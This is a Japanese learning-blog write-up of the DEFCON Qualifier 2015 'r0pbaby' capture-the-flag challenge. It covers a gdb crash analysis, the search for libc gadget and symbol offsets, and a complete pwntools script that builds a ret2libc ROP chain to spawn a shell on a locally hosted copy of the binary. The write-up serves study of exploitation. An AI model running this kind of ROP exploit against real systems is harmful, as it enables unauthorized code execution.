1日ひとつだけ強くなる

おべんきょうのーと

DEFCON Qualifier 2015: r0pbaby

はじめに

こつこつbataさんリスト埋めます。

pwn challenges list - Pastebin.com

ローカルで解けたのでメモ。

配布

このリストから問題のバイナリとか頂いてます。

ctf4u

$ file

$ file r0pbaby 
r0pbaby: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

strippedって見ると条件反射的にうわぁ…ってなっちゃうの克服したい。64bitバイナリです。

$checksec

$ checksec r0pbaby 
[*] '/home/ubuntu/writeup/bata/baby/r0pbaby/r0pbaby'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

NXbitが有効になっているのと名前からROP問題だろうと推測できる。PIEが有効なので直接バイナリ読むってのも違いそう。

実行してみる。

1を選択するとlibcのベースアドレスが(?)、2を選択すると任意のlibc内の関数のアドレスが与えられる。 3を選択して適当に10文字とかで入力を入れると落ちた。ので、gdbで何が起こってるのか見てみる。

$ ./r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857590
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 32
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
# この後Segmentation Faultで落ちる

gdbで動いてるプロセスにアタッチしてやると、以下のような出力を得た。

最近知ったんだけど、strippedなバイナリで入力処理とかしてるのは動いてるプロセスにアタッチするといい感じのとこで始まるので良いなと思った。

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff78fc710 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7bd19e0 --> 0x0 
RSI: 0x7ffff7bd0483 --> 0xbd19e0000000000a 
RDI: 0x1 
RBP: 0x4141414141414141 (b'AAAAAAAA')
RSP: 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...)
RIP: 0x555555554eb3 (ret)
R8 : 0x7ffff7bd19e0 --> 0x0 
R9 : 0x555555554fbb --> 0x732064614200203a 
R10: 0x7ffff7fd4740 (0x00007ffff7fd4740)
R11: 0x246 
R12: 0x555555554a60 (xor    ebp,ebp)
R13: 0x7fffffffe070 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
   0x555555554eae:  pop    r14
   0x555555554eb0:  pop    r15
   0x555555554eb2:  pop    rbp
=> 0x555555554eb3:  ret    
   0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x555555554ebe:  xchg   ax,ax
   0x555555554ec0:  push   r15
   0x555555554ec2:  mov    r15d,edi
[------------------------------------stack-------------------------------------]
00:0000| rsp 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...)
01:0008|     0x7fffffffdfa0 ("CCCCCCCCDDDDDDD"...)
02:0016|     0x7fffffffdfa8 ("DDDDDDDD")
03:0024|     0x7fffffffdfb0 --> 0x100000000 
04:0032|     0x7fffffffdfb8 --> 0x555555554c46 (push   rbp)
05:0040|     0x7fffffffdfc0 --> 0x0 
06:0048|     0x7fffffffdfc8 --> 0x4eadd4ca677d9d9e 
07:0056|     0x7fffffffdfd0 --> 0x555555554a60 (xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x0000555555554eb3 in ?? ()
gdb-peda$  

見てみると、ret命令でリターンアドレスを読み込もうとしてるが、rspには先ほど入力したBBBB....という文字列のアドレスが指されているため、落ちたのだろうとわかる。

じゃあ、これを利用してlibc内のsystem関数を呼んであげればいいのか〜〜〜〜

ん??でも引数ってどうするんだ…?? これまで解いてきたのはスタックに引数が積まれて、間にパディングを挟んで呼び出したから行けたけど、今回は。。。???

ってなったところでひとしきり悩んで、わからなかったのでwriteup参考にした。

見てみると、rdiに第一引数が格納されるので、libc内からpop rdi; ret;の命令を持つガジェットを探して、ROPチェーンを組めばいいらしい。 そういえば、リバースエンジニアリングバイブルにも書いてあった気がする。(現在手元にないので確認できない。)

これはx64のバイナリに共通なのだろうか..??リバースエンジニアリングバイブルは中盤からC++アセンブリの説明だったので、これがC++で書かれてるのかそれとも第1引数がrdiに格納されるのがx64共通なのか、、、

記事書きながら調べてみると、64bitの場合、引数はedi、esi、edx、ecx、r8d、r9d、(rsp)となる。つまり、64bitで任意の関数を実行するには対応したレジスタに引数を入れるように仕向けないといけないってことか….

それにしても、popret使うROP問題はハリネズミ本以来で不安…… あまり具体的にイメージができていない気もするし。

exploit

作っていくpayloadは、

<padding><pop rdi;ret;><bin/sh/><system>

という感じ。

使ってるlibcは

$ ldd r0pbaby 
    linux-vdso.so.1 =>  (0x00007ffff7ffd000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd3000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780e000)
    /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

から、

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep sh$
 17c8c3 /bin/sh
$ rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 | grep 'pop rdi'
0x00022b9a: pop rdi ; ret  ;  (1 found)
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000046590 W system

なお、1を選択して得られたlibc addressとかいう奴と、2を選択して得られたsystemアドレスから計算したlibcのベースアドレスが違った。うまく動いたのは、systemのアドレスからオフセット計算した時だった。 これは、どういうことなんだろう….??1で得られるアドレスが何のアドレスなのかわかってない。

まぁ、必要な値は揃ったので、以下のようなスクリプトを書いて実行した。

from pwn import *
import sys
import time

def bp():
    raw_input("break point: ")

r = remote('127.0.0.1', 4000)
   
# ========get elf base===========
r.recvuntil('4) Exit\n: ')

print '========= get libc base ==========='
r.sendline('1')
# len('libc.so.6: ') = 11
# len('libc.so.6: 0x00007ffff7ff79b0') = 29
libc_base = int(r.recvline()[11:29], 16)
print 'libc_base = {}'.format(hex(libc_base))
time.sleep(1)
r.recvuntil('4) Exit\n: ')

print '========= get libc_system addr ==========='
r.sendline('2')
r.recvuntil('Enter symbol: ')
r.sendline('system')
# Symbol system: 
libc_system = int(r.recvline()[15:33], 16)
print 'libc_system = {}'.format(hex(libc_system))
r.recvuntil('4) Exit\n: ')

print "======== exploit ========"
r.sendline('3')
r.recvuntil('(max 1024): ')
r.sendline('32')

popret_offset = 0x00022b9a
binsh_offset = 0x17c8c3
system_offset = 0x46590

libc_base = libc_system - system_offset
popret = libc_base + popret_offset
bin_sh = libc_base + binsh_offset

# rop buffer
# <pop rdi><bin/sh/><system>
 

#r.recvuntil('4) Exit\n: ')


print "popret: {popret}\nbinsh: {binsh}\nlibc_system: {system}".format(
    popret=hex(popret),binsh=hex(bin_sh),system=hex(libc_system))


rop = ''.join([
    'A'*8,
    p64(popret),
    p64(bin_sh),
    p64(libc_system)])
print "buf: {}".format(rop)

r.sendline(rop)

r.interactive()

これでシェルが取れた。

$ python exploit.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
========= get libc base ===========
libc_base = 0x7ffff7ff79b0
========= get libc_system addr ===========
libc_system = 0x7ffff7857590
======== exploit========
popret: 0x7ffff7833b9a
binsh: 0x7ffff798d8c3
libc_system: 0x7ffff7857590
buf: AAAAAAAA\x9a;\x83÷ÿ\x00ÃØ\x98÷ÿ\x00\x90u\x85÷ÿ\x00
[*] Switching to interactive mode
$ whoami
ubuntu
$  

感想

popret gadgetを使ってみて、ROPのpopretの命令でやってることがより具体的にイメージがついたように思う。 babyになれるように精進します。

あと、libcのアドレスがどこのアドレスなのか教えてもらえると助かります。(libc内検索してみたんだけど、それっぽいのが見つからなかった)

参考

NetAgent Official Blog : 64ビット環境におけるリバースエンジニアリング

Assembly Programming on x86-64 Linux (04)

Syscall Number for x86-64 linux (A)

参考サイトとか見てみるんですが、検索能力が低いのかブログにあたるばかりで公式の(?)ページが見つからないんですよね… 2次ソースばかりを参考としているのでちゃんとしたソースを見つけられるようにもなりたい….